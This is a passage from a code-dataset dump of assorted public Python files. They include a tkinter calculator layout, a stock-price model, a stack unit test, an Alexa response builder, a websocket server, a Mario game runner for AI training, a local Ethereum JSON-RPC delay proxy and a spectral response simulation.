width=5,height=2)\nbtn_point=Button(root,text=\".\", width=5,height=2)\nbtn_zero.grid(row=5,column=0,columnspan=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_point.grid(row=5,column=2,sticky=N+E+W+S,padx=3,pady=3)\nroot.mainloop()","repo_name":"wonwoossong/python","sub_path":"gui_basic/14_grid.py","file_name":"14_grid.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42385766918","text":"from typing import Optional\n\nimport jax.numpy as jnp\nimport numpy as np\nimport yfinance as yf\n\nfrom eulerpi import logger\nfrom eulerpi.core.model import ArtificialModelInterface, JaxModel\n\n\n# Ticker source: https://investexcel.net/all-yahoo-finance-stock-tickers/#google_vignette, Date:27.10.2022\nclass Stock(JaxModel):\n \"\"\"Model simulating stock data.\"\"\"\n\n data_dim = 19\n param_dim = 6\n\n PARAM_LIMITS = np.array([[-10.0, 10.0] for _ in range(param_dim)])\n CENTRAL_PARAM = np.array(\n [\n 0.41406223,\n 1.04680993,\n 1.21173553,\n 0.8078955,\n 1.07772437,\n 0.64869251,\n ]\n )\n\n def __init__(\n self,\n central_param: np.ndarray = CENTRAL_PARAM,\n param_limits: np.ndarray = PARAM_LIMITS,\n name: Optional[str] = None,\n **kwargs,\n ) -> None:\n super().__init__(central_param, param_limits, name=name, **kwargs)\n\n def download_data(self, ticker_list_path: str):\n \"\"\"Download stock data for a ticker list from yahoo finance.\n\n Args:\n ticker_list_path(str): path to the ticker list csv file\n\n Returns:\n stock_data, stock_ids and the name of the tickerList\n\n \"\"\"\n logger.info(\"Downloading stock data...\")\n start = \"2022-01-31\"\n end = \"2022-03-01\"\n\n stocks = np.loadtxt(ticker_list_path, dtype=\"str\")\n\n try:\n df = yf.download(\n stocks.tolist(), start, end, interval=\"1d\", repair=True\n )\n except Exception as e:\n logger.warning(\"Download Failed!\", exc_info=e)\n\n # drop all columns except for the open price\n df.drop(\n df.columns[df.columns.get_level_values(0) != \"Open\"],\n axis=1,\n inplace=True,\n )\n\n # remove columns with missing data\n missing = list(yf.shared._ERRORS.keys())\n df = df.loc[:, ~df.columns.get_level_values(1).isin(missing)]\n\n # subtract initial value of complete timeline, its simply subtracting the first row from the whole dataframe\n df = df.subtract(df.iloc[0], axis=1)\n\n # remove columns with extreme values\n df = df.loc[:, ~(df.abs() > 100).any()]\n\n # Drop the row of the first day\n df = df.iloc[1:, :]\n\n # get the remaining stock_ids and create a numpy array from the dataframe\n stock_ids = df.columns.get_level_values(1) # .unique()\n stock_data = df.to_numpy()\n\n # get the name of the tickerList\n if type(ticker_list_path) != str:\n ticker_list_name = ticker_list_path.name.split(\".\")[0]\n else:\n ticker_list_name = ticker_list_path.split(\"/\")[-1].split(\".\")[0]\n\n return stock_data.T, stock_ids, ticker_list_name\n\n @classmethod\n def forward(cls, param):\n def iteration(x, param):\n return jnp.array(\n [\n param[0] / (1 + jnp.power(x[0], 2))\n + param[1] * x[1]\n + param[2],\n param[3] * x[1] - param[4] * x[0] + param[5],\n ]\n )\n\n def repetition(x, param, num_repetitions):\n for i in range(num_repetitions):\n x = iteration(x, param)\n return x\n\n x0 = jnp.zeros(2)\n x1 = repetition(x0, param, 1)\n x2 = repetition(x1, param, 1)\n x3 = repetition(x2, param, 1)\n x4 = repetition(x3, param, 1)\n x5 = repetition(x4, param, 3)\n x6 = repetition(x5, param, 1)\n x7 = repetition(x6, param, 1)\n x8 = repetition(x7, param, 1)\n x9 = repetition(x8, param, 1)\n x10 = repetition(x9, param, 3)\n x11 = repetition(x10, param, 1)\n x12 = repetition(x11, param, 1)\n x13 = repetition(x12, param, 1)\n x14 = repetition(x13, param, 1)\n x15 = repetition(x14, param, 4)\n x16 = repetition(x15, param, 1)\n x17 = repetition(x16, param, 1)\n x18 = repetition(x17, param, 1)\n x19 = repetition(x18, param, 3)\n\n timeCourse = jnp.array(\n [\n x1,\n x2,\n x3,\n x4,\n x5,\n x6,\n x7,\n x8,\n x9,\n x10,\n x11,\n x12,\n x13,\n x14,\n x15,\n x16,\n x17,\n x18,\n x19,\n ]\n )\n\n return timeCourse[:, 0]\n\n\nclass StockArtificial(Stock, ArtificialModelInterface):\n \"\"\" \"\"\"\n\n PARAM_LIMITS = np.array([[-1.0, 3.0] for _ in range(Stock.param_dim)])\n\n def __init__(\n self,\n central_param: np.ndarray = Stock.CENTRAL_PARAM,\n param_limits: np.ndarray = PARAM_LIMITS,\n name: Optional[str] = None,\n **kwargs,\n ) -> None:\n super(Stock, self).__init__(\n central_param, param_limits, name=name, **kwargs\n )\n\n def generate_artificial_params(self, num_samples):\n mean = np.array(\n [\n 0.41406223,\n 1.04680993,\n 1.21173553,\n 0.8078955,\n 1.07772437,\n 0.64869251,\n ]\n )\n stdevs = np.array([0.005, 0.01, 0.05, 0.005, 0.01, 0.05])\n\n true_param_sample = np.random.randn(num_samples, self.param_dim)\n true_param_sample *= stdevs\n true_param_sample += mean\n\n return true_param_sample\n","repo_name":"Systems-Theory-in-Systems-Biology/EPI","sub_path":"eulerpi/examples/stock/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":5556,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"72"} +{"seq_id":"18478093324","text":"from typing import Any, List\nimport unittest\nfrom stack import Stack\n\nclass TestStack(unittest.TestCase):\n\tdef test_initialize_stack(self):\n\t\t\"\"\" test Stack \"\"\"\n\t\tstack = Stack()\n\t\tstack.push(1)\n\t\tself.assertIsInstance(stack, Stack)\n\t\n\tdef test_push_stack(self):\n\t\tstack = Stack()\n\t\tstack.push(1)\n\t\tself.assertEqual(stack, [1])\n\n\tdef test_pop_stack(self):\n\t\tstack = Stack()\n\t\tarray = [1, 2, 3, 4]\n\t\tfor val in array:\n\t\t\tstack.push(val)\n\t\tres = stack.pop()\n\t\tself.assertEqual(stack, [1, 2, 3])\n\t\tself.assertEqual(res, 4)\n\n\tdef test_empty_stack(self):\n\t\tstack = Stack()\n\t\tself.assertTrue(stack.isempty())\n\nif __name__ == \"__main__\":\n\tunittest.main()","repo_name":"aminuolawale/google-prep","sub_path":"data_structures/stack_test.py","file_name":"stack_test.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42563705215","text":"import json \nfrom random import randint\nfrom template_builder import get_display_template\nfrom apl_builder import get_apl_document\nlocal = 'en-in'\ndef get_speech(local, current_step):\n with open('master.json', 'r') as data:\n response_labels = json.load(data)\n response_labels = response_labels[local]\n return response_labels[current_step]\n\n\ndef alexa_response(session, current_step, parameters, type=\"standard\", context=None):\n \n response_elements = get_speech(local, current_step)\n \n if type == 'standard':\n \n output = response_elements['SPEECH'][randint(0, len(response_elements['SPEECH'])-1)]\n reprompt = response_elements['REPROMPT'][randint(0, len(response_elements['REPROMPT'])-1)]\n card_title = response_elements['CARD']['TITLE']\n card_content = response_elements['CARD']['CONTENT'] \n card_small_image_url = response_elements['CARD']['SMALL_IMAGE_URL']\n card_large_image_url = response_elements['CARD']['LARGE_IMAGE_URL']\n end_session = response_elements['SESSION_END']\n \n if len(response_elements['REPEAT']) > 0:\n output = response_elements['REPEAT'][randint(0, len(response_elements['REPEAT'])-1)]\n else:\n output = response_elements['SPEECH'][randint(0, len(response_elements['SPEECH'])-1)]\n\n #build directive\n directives = []\n #add display template\n display_template = get_display_template(response_elements['DISPLAY']['TYPE'],response_elements['DISPLAY']['PAYLOAD'])\n directives.append(display_template)\n #add apl template\n apl_document = get_apl_document(response_elements['APL']['DOCUMENT'], response_elements['APL']['PAYLOAD'])\n directives.append(apl_document)\n\n for i in range(0,len(parameters)):\n output = output.replace(parameters[i][\"source_string\"],parameters[i][\"target_string\"])\n reprompt = reprompt.replace(parameters[i][\"source_string\"],parameters[i][\"target_string\"])\n #repeat = repeat.replace(parameters[i][\"source_string\"],parameters[i][\"target_string\"])\n card_title = card_title.replace(parameters[i][\"source_string\"],parameters[i][\"target_string\"])\n card_content = card_content.replace(parameters[i][\"source_string\"],parameters[i][\"target_string\"])\n\n \n speechlet_response = build_speechlet_response(output, reprompt, card_title, card_content, card_small_image_url, card_large_image_url, directives, end_session) \n return build_response(session, speechlet_response )\n else:\n pass\n\n\ndef build_response(session_attributes, speechlet_response):\n return {\n 'version': '1.0',\n 'sessionAttributes': session_attributes,\n 'response': speechlet_response\n }\n\n\ndef build_speechlet_response(output, reprompt, card_title, card_content, card_small_image_url, card_large_image_url, directives, end_session):\n return {\n 'outputSpeech': {\n 'type': 'SSML',\n 'ssml': ''+output+''\n },\n 'card': {\n 'type': 'Standard',\n 'title': card_title,\n 'text': card_content,\n \"image\": {\n \"smallImageUrl\": card_small_image_url,\n \"largeImageUrl\": card_large_image_url\n } \n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'SSML',\n 'ssml': ''+reprompt+''\n }\n },\n 'directives': directives,\n 'shouldEndSession': end_session\n }\n\n","repo_name":"AnkurAvishek/AlexaStarterTemplate","sub_path":"code/response_builder.py","file_name":"response_builder.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74069175594","text":"from actor import SActor, ActorProperties, NamedTasklet, UnknownMessageError\nfrom user import SUser\nfrom socket import AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR\nfrom stacklesssocket import stdsocket as socket, install, uninstall\nimport weakref\nfrom webconnection import WebConnection\n\nclass SWebSocketServer(SActor):\n \n def __init__(self, world, instanceName):\n SActor.__init__(self, instanceName)\n self.world = world\n self.users = weakref.WeakValueDictionary()\n \n NamedTasklet(self.startServerLoop)()\n\n self.world.send((self.channel, \"JOIN\",\n ActorProperties(self.__class__.__name__,\n instanceName=self.instanceName,\n physical=False, public=False)))\n \n def startServerLoop(self):\n\n try:\n install(0)\n except StandardError:\n pass\n \n try:\n self.startServerLoopInner()\n finally:\n self.info('Server loop about to exit.')\n uninstall()\n \n def startServerLoopInner(self):\n address = \"\", 3001\n \n listenSocket = socket.socket(AF_INET, SOCK_STREAM)\n listenSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listenSocket.bind(address)\n listenSocket.listen(5)\n \n self.listenSocket = listenSocket\n\n self.info('Listening %s:%d.' % address) \n while 1:\n self.info('Wait for a remote connection...')\n \n try:\n currentSocket, clientAddress = listenSocket.accept()\n except socket.error:\n return\n \n self.info('Socket %d connected from %s.' % (currentSocket.fileno(),\n clientAddress))\n \n user = SUser(self.world, '%s[%d][W]' % clientAddress,\n WebConnection(currentSocket)).channel\n self.users[id(user)] = user\n\n def defaultMessageAction(self, args):\n sentFrom, msg, msgArgs = args[0], args[1], args[2:]\n if msg == 'WORLD_STATE':\n pass\n elif msg == 'CLOSE_SOCKET':\n self.listenSocket._sock.close()\n for _, u in self.users.iteritems():\n u.send((self.channel, msg))\n else:\n raise UnknownMessageError(msg, sentFrom);\n\n'''\n def recv_data (self, client):\n # as a simple server, we expect to receive:\n # - all data at one go and one frame\n # - one frame at a time\n # - text protocol\n # - no ping pong messages\n data = bytearray(client.recv(512))\n if(len(data) < 6):\n raise Exception(\"Error reading data\")\n # FIN bit must be set to indicate end of frame\n assert(0x1 == (0xFF & data[0]) >> 7)\n # data must be a text frame\n # 0x8 (close connection) is handled with assertion failure\n assert(0x1 == (0xF & data[0]))\n \n # assert that data is masked\n assert(0x1 == (0xFF & data[1]) >> 7)\n datalen = (0x7F & data[1])\n \n #print(\"received data len %d\" %(datalen,))\n \n str_data = ''\n if(datalen > 0):\n mask_key = data[2:6]\n masked_data = data[6:(6+datalen)]\n unmasked_data = [masked_data[i] ^ mask_key[i%4] for i in range(len(masked_data))]\n str_data = str(bytearray(unmasked_data))\n return str_data\n\n def broadcast_resp(self, data):\n # 1st byte: fin bit set. text frame bits set.\n # 2nd byte: no mask. length set in 1 byte. \n resp = bytearray([0b10000001, len(data)])\n # append the data bytes\n for d in bytearray(data):\n resp.append(d)\n \n self.LOCK.acquire()\n for client in self.clients:\n try:\n client.send(resp)\n except:\n print(\"error sending to a client\")\n self.LOCK.release()\n \n\n \n \n \n def handle_client (self, client, addr):\n self.handshake(client)\n try:\n while 1: \n data = self.recv_data(client)\n print(\"received [%s]\" % (data,))\n self.broadcast_resp(data)\n except Exception as e:\n print(\"Exception %s\" % (str(e)))\n print('Client closed: ' + str(addr))\n #self.LOCK.acquire()\n self.clients.remove(client)\n #self.LOCK.release()\n client.close()\n \n\n def start_server (self, port):\n s = socket.socket()\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind(('', port))\n s.listen(5)\n while(1):\n print ('Waiting for connection...')\n conn, addr = s.accept()\n print ('Connection from: ' + str(addr))\n threading.Thread(target = self.handle_client, args = (conn, addr)).start()\n self.LOCK.acquire()\n self.clients.append(conn)\n self.LOCK.release()\n'''","repo_name":"gasbank/fallingsun","sub_path":"fallingsun/websocketserver.py","file_name":"websocketserver.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"18075432785","text":"from typing import Dict, List\nfrom PyQt5.QtWidgets import QTabWidget, QWidget, QVBoxLayout\n\nfrom Controller.BokehTabController import BokehTabController\nfrom Controller.MainController import MainController\nfrom Model.BokehTabModel import BokehTabModel\nfrom Model.MainModel import MainModel\n\n\nclass BokehTabView(QWidget):\n def __init__(self, model, controller, parent, main_model: MainModel):\n super().__init__(parent)\n self._model: BokehTabModel = model\n self._parent = parent\n self._controller: BokehTabController = controller\n self._root_layout = QVBoxLayout()\n self._main_model = main_model\n\n def add_custom_tab(self, app_paths: Dict):\n tab_widgets = self._controller.add_custom_tab(app_paths, self)\n name, start_widget = next(iter(tab_widgets.items()))\n start_widget.setVisible(True)\n self._main_model.current_cell_name = name\n self._controller.set_current_widget(start_widget)\n self._controller.current_bokeh_tab_name = name\n for key, value in tab_widgets.items():\n self._root_layout.addWidget(value)\n self.setLayout(self._root_layout)\n self.show()\n\n # self.addTab(tab[\"tab\"], tab[\"name\"])\n def change_table_cell(self, cell_name):\n self._controller.change_table_cell(cell_name)\n self._main_model.current_cell_name = cell_name\n def clear_tabs(self):\n self._controller.clear_all_tabs()","repo_name":"Kognor1/diplom_v_2","sub_path":"View/BokehTab/BokehTabView.py","file_name":"BokehTabView.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43233133238","text":"from baseGame import RunGame,EvalGame\nfrom abc import abstractmethod\n\nfrom runnerConfiguration import RunnerConfig\nfrom .source import tools\nfrom .source import constants as c\nfrom .source.states.segment import Segment\n\n\nempty_actions = dict(zip(['action','jump','left','right','down'],[False for i in range(5)]))\nclass SMB1Game(RunGame):\n\n @classmethod\n def initProcess(cls, pnum: int, parent_game: EvalGame):\n game = tools.Control(process_num=pnum);\n state_dict = {c.LEVEL: Segment()};\n game.setup_states(state_dict, c.LEVEL)\n game.state.startup(0,{c.LEVEL_NUM:1});\n parent_game.initInputs['game'] = game;\n\n \n def __init__(self,runnerConfig:RunnerConfig,**kwargs):\n self.runConfig = runnerConfig;\n datum = None\n if 'training_datum_id' in kwargs:\n datum = self.runConfig.training_data[kwargs['training_datum_id']];\n if 'game' not in kwargs:\n if 'GRAPHICS_SETTINGS' in kwargs:\n c.GRAPHICS_SETTINGS = kwargs['GRAPHICS_SETTINGS'];\n elif 'num_rendered_processes' in kwargs and 'process_num' in kwargs:\n if (kwargs['process_num']>=kwargs['num_rendered_processes']):\n c.GRAPHICS_SETTINGS = c.NONE;\n if 'process_num' in kwargs:\n self.process_num = kwargs['process_num']\n self.game = tools.Control(process_num=self.process_num)\n else:\n self.game = tools.Control();\n state_dict = {c.LEVEL: Segment()}\n self.game.setup_states(state_dict, c.LEVEL)\n self.game.state.startup(0,{c.LEVEL_NUM:1},initial_state=datum);\n kwargs['game'] = self.game;\n else:\n self.game = kwargs[\"game\"];\n self.game.load_segment(datum);\n self.min_obstructions = None;\n self.stillness_time = 0;\n self.annotations = kwargs['annotations'] if 'annotations' in kwargs else [];\n self.last_path = None;\n self.frame_counter = 0;\n self.frame_cycle = 4 if not hasattr(runnerConfig,\"frame_cycle\") else runnerConfig.frame_cycle;\n super().__init__(runnerConfig,**kwargs);\n\n\n def getOutputData(self):\n data = self.game.get_game_data(self.runConfig.view_distance,self.runConfig.tile_scale);\n obstruction_score = self.runConfig.task_obstruction_score(data['task_obstructions']);\n path_progress = data['task_path_remaining'];\n path_improved = False;\n if (self.last_path is None):\n self.last_path = path_progress;\n if path_progress is not None:\n path_improved = True;\n elif (path_progress is not None and path_progress < self.last_path):\n self.last_path = path_progress;\n path_improved = True;\n \n if (self.min_obstructions is None or obstruction_score < self.min_obstructions or path_improved):\n self.stillness_time = 0;\n self.min_obstructions = obstruction_score;\n else:\n self.stillness_time += 1;\n data['stillness_time'] = self.stillness_time;\n return data;\n \n\n def processInput(self, inputs):\n output = [key > 0.5 for key in inputs];\n named_actions = dict(zip(['action','jump','left','right','down'],output));\n\n self.frame_counter = (self.frame_counter + 1)%self.frame_cycle;\n\n self.game.tick_inputs(named_actions,show_game=self.frame_counter==0);\n while (self.isRunning() and not self.game.accepts_player_input()): #skip bad frames\n self.game.tick_inputs(empty_actions,show_game=True);\n\n if self.annotations:\n import pygame as pg\n surface = pg.display.get_surface();\n for ann in self.annotations:\n pg.draw.circle(surface,c.GREEN,ann,4);\n pg.display.update();\n \n \n\n def renderInput(self,inputs):\n output = [key > 0.5 for key in inputs];\n \n named_actions = dict(zip(['action','jump','left','right','down'],output));\n\n self.game.tick_inputs(named_actions,show_game=True);\n while (self.isRunning() and not self.game.accepts_player_input()):\n self.game.tick_inputs(empty_actions);\n #print('skipping bad frames...');\n\n","repo_name":"minerharry/AI_game_router","sub_path":"games/smb1Py/py_mario_bros/PythonSuperMario_master/smb_game.py","file_name":"smb_game.py","file_ext":"py","file_size_in_byte":4279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3152302623","text":"#!/usr/bin/python3\n\nimport requests\nimport json\nimport jsonrpc\nimport rlp\nimport time\n\nfrom flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api\n\nfrom pycoin.serialize import b2h, h2b\nfrom pycoin import encoding\nfrom ethereum import utils, abi, transactions\nimport requests\nimport json\nimport jsonrpc\nimport rlp\nfrom ethereum.abi import ContractTranslator\nfrom ethereum.utils import mk_contract_address\n\n\nfrom flask import Flask, request, Response\nfrom jsonrpcserver import methods\nfrom flask import jsonify\n\napp = Flask(__name__)\n\n\nlocal_url = \"http://localhost:8545/jsonrpc\"\n\n\ndef blockchain_json_call(method_name, params, rpc_version, id):\n url = local_url\n headers = {'content-type': 'application/json'}\n # Example echo method\n payload = {\"method\": method_name,\n \"params\": params,\n \"jsonrpc\": rpc_version,\n \"id\": id,\n }\n # print (payload)\n response = requests.post(\n url, data=json.dumps(payload), headers=headers).json()\n # print(response)\n print(str(response))\n return response\n\n#\n\n\nclass PendingTx:\n\n def __init__(self, raw_tx, tx_hash, current_timestamp):\n self.raw_tx = raw_tx\n self.tx_hash = tx_hash\n self.submission_time = current_timestamp\n\npending_txs = set()\ncurrent_rpc_id = 1024 * 1024 * 1024\nconfirmation_delay_in_sec = 5\nuse_delay = False\n\n\ndef check_pending_txs(current_timestamp):\n global pending_txs\n global current_rpc_id\n\n txs_to_remove = []\n for tx in pending_txs:\n if(tx.submission_time + confirmation_delay_in_sec <= current_timestamp):\n params = [tx.raw_tx]\n blockchain_json_call(\n \"eth_sendRawTransaction\", params, \"2.0\", str(current_rpc_id))\n current_rpc_id += 1\n\n txs_to_remove.append(tx)\n\n for tx in txs_to_remove:\n pending_txs.remove(tx)\n\n\ndef handle_send_raw_tx(method_name, params, rpc_version, id, current_timestamp):\n global pending_txs\n raw_tx = params[0]\n tx_hash = b2h(utils.sha3(h2b(raw_tx[2:])))\n pending_txs.add(PendingTx(raw_tx, tx_hash, current_timestamp))\n return {\"id\": id, \"jsonrpc\": rpc_version, \"result\": tx_hash}\n\n\n@app.route('/', methods=['POST'])\ndef index():\n global use_delay\n timestamp = int(time.time())\n check_pending_txs(timestamp)\n\n req = request.get_data().decode()\n print (str(req))\n json_req = json.loads(req)\n output_is_array = False\n if (len(json_req) == 1):\n json_req = json_req[0]\n output_is_array = True\n print(str(json_req))\n method_name = json_req[\"method\"]\n params = json_req[\"params\"]\n rpc_version = json_req[\"jsonrpc\"]\n id = json_req[\"id\"]\n\n # some commands are not supported in delay mode\n if((method_name == \"eth_sendTransaction\" or\n method_name == \"eth_getTransactionByHash\") and use_delay):\n respone = {\"id\": id, \"jsonrpc\": rpc_version,\n \"result\": \"unsuppoted command in delay mode\"}\n elif(method_name == \"eth_sendRawTransaction\" and use_delay):\n response = handle_send_raw_tx(\n method_name, params, rpc_version, id, timestamp)\n elif(method_name == \"enableDelay\"):\n use_delay = True\n response = {\"id\": id, \"jsonrpc\": rpc_version, \"result\": \"Ok\"}\n else:\n response = blockchain_json_call(method_name, params, rpc_version, id)\n if(output_is_array):\n response = [response]\n print(str(response))\n return json.dumps(response)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"KyberNetwork/exchange-simulator","sub_path":"fake_dev_chain_wrapper.py","file_name":"fake_dev_chain_wrapper.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"72"} +{"seq_id":"8068169926","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nimport copy\nfrom scipy.interpolate import UnivariateSpline\n\n# Number of bands\nN = 40\n\n# Step size in range\nincrement = 1e-3\n\nX = np.arange(400,1000,increment)\n\nBASE = 0\nWIDTH = (max(X)-min(X))/N\n\nDN_range = np.arange(0,N,1)\n\n# Step for sampling in each band\nstep = int(len(X)/N)\n\n# # dx value for area measurements\n# dx_scale = 1e-2\n# mydx = increment*dx_scale\n\nIB_amp = 929\n\n# Functions for testing misalignment of bands\nmisalign = np.random.randn(N)*2\n#misalign = np.zeros(N)\n#misalign = np.ones(N)*7\n#amplitudes = np.random.randn(N)+5\namplitudes = np.ones(N)\n\ndef tophat(x, base_level, hat_level, hat_mid, hat_width):\n '''\n Creates data set of tophat function\n \n :param x: data set of spectrum this will be used with\n :param base_level: value of data either side of tophat\n :param hat_level: amplitude of the hat\n :param hat_mid: value of centre of the tophat\n :param hat_width: the width of the tophat\n ''' \n return np.where((hat_mid-hat_width/2. < x) & (x < hat_mid+hat_width/2.),\n hat_level, base_level)\n\ndef genSRF(x, centre_loc, BASE, WIDTH):\n \n base = BASE\n width = WIDTH\n \n\n \n IB = tophat(x,base,IB_amp,centre_loc,width)\n \n oob_amp = 47\n offset = 6*WIDTH\n \n if (centre_loc-(offset+width)) < min(X):\n oob1 = tophat(x,base,oob_amp,centre_loc+offset,width)\n oob2 = tophat(x,base,oob_amp,centre_loc+2*offset,width)\n\n elif (centre_loc+(offset+width)) > max(X):\n oob1 = tophat(x,base,oob_amp,centre_loc-offset,width)\n oob2 = tophat(x,base,oob_amp,centre_loc-2*offset,width)\n \n else:\n oob1 = tophat(x,base,oob_amp,centre_loc+offset,width)\n oob2 = tophat(x,base,oob_amp,centre_loc-offset,width)\n\n\n SRF = IB + oob1 + oob2 \n \n return SRF\n\ndef spline_that(x,y,x_new):\n# f = interp1d(x,y)\n# y_new = f(x_new)\n spl = UnivariateSpline(x,y,s=0)\n y_new = spl(x_new)\n \n return y_new\n\ndef gen_meas(L,SRF):\n product = L*SRF\n\n area = np.trapz(product,dx=increment)\n \n return area\n\ndef step_func(x):\n '''\n Step function \n Returns 1 for first half of x and 0 for second half\n '''\n return 587 * (x < x[int(len(x)/2)])\n\ndef Gauss(x,a,b,c):\n '''\n Gaussian function for fitting peaks\n \n :param x: data\n :param a: height of peak\n :param b: x location of peak (mean)\n :param c: width of peak (sigma)\n '''\n return a*np.exp(-(x - b)**2 /(2*c**2))\n\ndef shorten_set(data,step):\n shortened = []\n for j in range(0,len(data),step):\n temp_range = data[j:j+step]\n mean_val = np.mean(temp_range)\n shortened.append(mean_val)\n \n return np.array(shortened)\n\n\n# In[2]:\n\n\nL = step_func(X) + 1\n\nplt.plot(X,L)\nplt.show()\n\n# file = 'radiances.txt'\n \n# f = open(file)\n\n# rad_data = f.read().split(\"\\n\")\n# rad_data = rad_data[:-1]\n\n# wavelength = []\n# r1 = []\n# r2 = []\n# r3 = []\n# r4 = []\n\n# for lines in rad_data:\n# numbers = lines.split(\" \")\n# wavelength.append(float(numbers[0]))\n# r1.append(float(numbers[1]))\n# r2.append(float(numbers[2]))\n# r3.append(float(numbers[3]))\n# r4.append(float(numbers[4]))\n \n# r1 = r3[:-1]\n# r1 = spline_that(np.arange(0,600,1),r1,np.arange(0,600,increment))\n# L = r1\n\n# len_radiances = len(r1)\n# radiance_step = round(len_radiances/N)\n\n# plt.figure(figsize=(10,8))\n# plt.plot(r1,label=\"L\")\n# #plt.plot(ALT,FP_trans_show,label=\"Ideal Filter Transmission\")\n# # plt.plot(wavelength,r2,label=\"water\")\n# # plt.plot(wavelength,r3,label=\"vegetation\")\n# # plt.plot(wavelength,r4,label=\"soil\")\n# plt.xlabel(\"Wavelength (nm)\")\n# plt.ylabel(\"Radiance\")\n# plt.legend()\n# plt.show()\n\n# data = np.load(\"testdata.npy\")\n\n# L = spline_that(np.linspace(400,1000,len(data)),data,X)*50\n\n# plt.plot(L)\n# plt.show()\n\n\n# In[3]:\n\n\nvary_amp = Gauss(X,1,700,300)\n\nplt.plot(X,vary_amp)\nplt.show()\n\nvary_amp = shorten_set(vary_amp,int(len(X)/N))\n\n\n# In[4]:\n\n\nIB_wavelengths = np.linspace(min(X)+WIDTH/2,max(X)-WIDTH/2,N)\n\nband_starts = np.arange(min(X),max(X),WIDTH)\n\nif len(X) % N != 0:\n \n raise Exception(\"X not evenly divisible by N\")\n \n# Arrays for storing SRFs\nSRF_arr = np.zeros((N,len(X)))\nSRF_arr_norm = np.zeros((N,len(X)))\nti_arr = np.zeros((N,len(X)))\n\nD = np.zeros((N,N))\n\nIB_area = np.zeros(N)\n\nIB_val_arr = np.zeros(N)\n\nplt.figure(figsize=(10,8))\n\nfor i in range(N):\n # Create SRF with satellites and IB wavelength\n # at the centre of a defined bands\n #SRF = genSRF(X,IB_wavelengths[i]+misalign[i],BASE,WIDTH)*amplitudes[i]\n SRF = genSRF(X,IB_wavelengths[i]+misalign[i],BASE,WIDTH)*vary_amp[i]\n SRF_arr[i] = SRF\n plt.plot(X,SRF)\n \n \n band_lower = int(round(i*WIDTH/increment))\n \n band_upper = int(round((i+1)*(WIDTH/increment)))\n \n # Take the mean (Y) value of the SRF within relevant waveband\n IB_val = np.mean(SRF[band_lower:band_upper])\n IB_val_arr[i] = IB_val\n \n ti = tophat(X,0,IB_val,IB_wavelengths[i],WIDTH)\n #plt.plot(X,ti)\n ti_arr[i] = ti\n\nfor i in range(N):\n \n # Create a copy of the SRF so we can change it without affect the actual \n # SRF\n srf_i = copy.deepcopy(SRF_arr[i])\n \n #IB_area[i] = np.trapz(srf_ti[IB_indices],dx=mydx)\n #srf_ti[IB_indices] = srf_ti[IB_indices]/(ti_arr[IB_indices]*WIDTH*increment)\n \n Di = []\n k = 0\n for j in range(0,len(srf_i),step):\n temp_range = srf_i[j:j+step]\n # mean_val = np.mean(temp_range)\n SRF_area = np.trapz(temp_range,dx=increment)\n dij = SRF_area/(IB_val_arr[k]*WIDTH)\n #Di.append(mean_val)\n Di.append(dij)\n k += 1\n \n D[i] = Di\n\nplt.figure(figsize = (10,8))\nplt.imshow(D)\nplt.colorbar()\nplt.title(\"D\")\nplt.xlabel(\"j\")\nplt.ylabel(\"i\")\nplt.show()\n\nplt.figure(figsize = (10,8))\nplt.imshow(D,cmap=\"hot\",norm=LogNorm())\nplt.colorbar()\nplt.show()\n\nprint(\"Condition number k(D) =\",np.linalg.cond(D))\n\n\n# In[5]:\n\n\nval_check = 39\ncheck_SRF = SRF_arr[val_check]\n\nband_lower = int(round(val_check*WIDTH/increment))\n\nband_upper = int(round((val_check+1)*(WIDTH/increment)))\n\ncheck_IB_area = np.trapz(check_SRF[band_lower:band_upper],dx=increment)\ncheck_tot_area = np.trapz(check_SRF,dx=increment)\n\noob_frac = 1 - check_IB_area/check_tot_area\nprint(\"Out of band fraction =\",oob_frac)\n\nplt.plot(X,check_SRF,'b--')\nplt.xlabel(\"Wavelength ($\\lambda$)\")\nplt.ylabel(\"Radiance (arb)\")\nplt.show()\n\n\n# In[6]:\n\n\n# plt.figure(figsize=(10,8))\n# for i in range(N):\n# plt.plot(X,ti_arr[i]*1/2,)\n\n# plt.plot(X,SRF_arr[0]*0.75,'r--',label=\"$SRF_1$\")\n# plt.plot(X,SRF_arr[10],'g--',label=\"$SRF_j$\")\n# plt.plot(X,SRF_arr[19]*0.75,'b--',label=\"$SRF_n$\")\n# plt.annotate('$a_1$ ', xy=(IB_wavelengths[0], IB_amp*0.75), xytext=(500, IB_amp*0.75),\n# arrowprops=dict(facecolor='black', shrink=0.05),fontsize=18)\n# plt.annotate('$a_j$', xy=(IB_wavelengths[10], IB_amp), xytext=(600, IB_amp),\n# arrowprops=dict(facecolor='black', shrink=0.05),fontsize=18)\n# plt.annotate('$a_n$', xy=(IB_wavelengths[19], IB_amp*0.75), xytext=(900, IB_amp*0.75),\n# arrowprops=dict(facecolor='black', 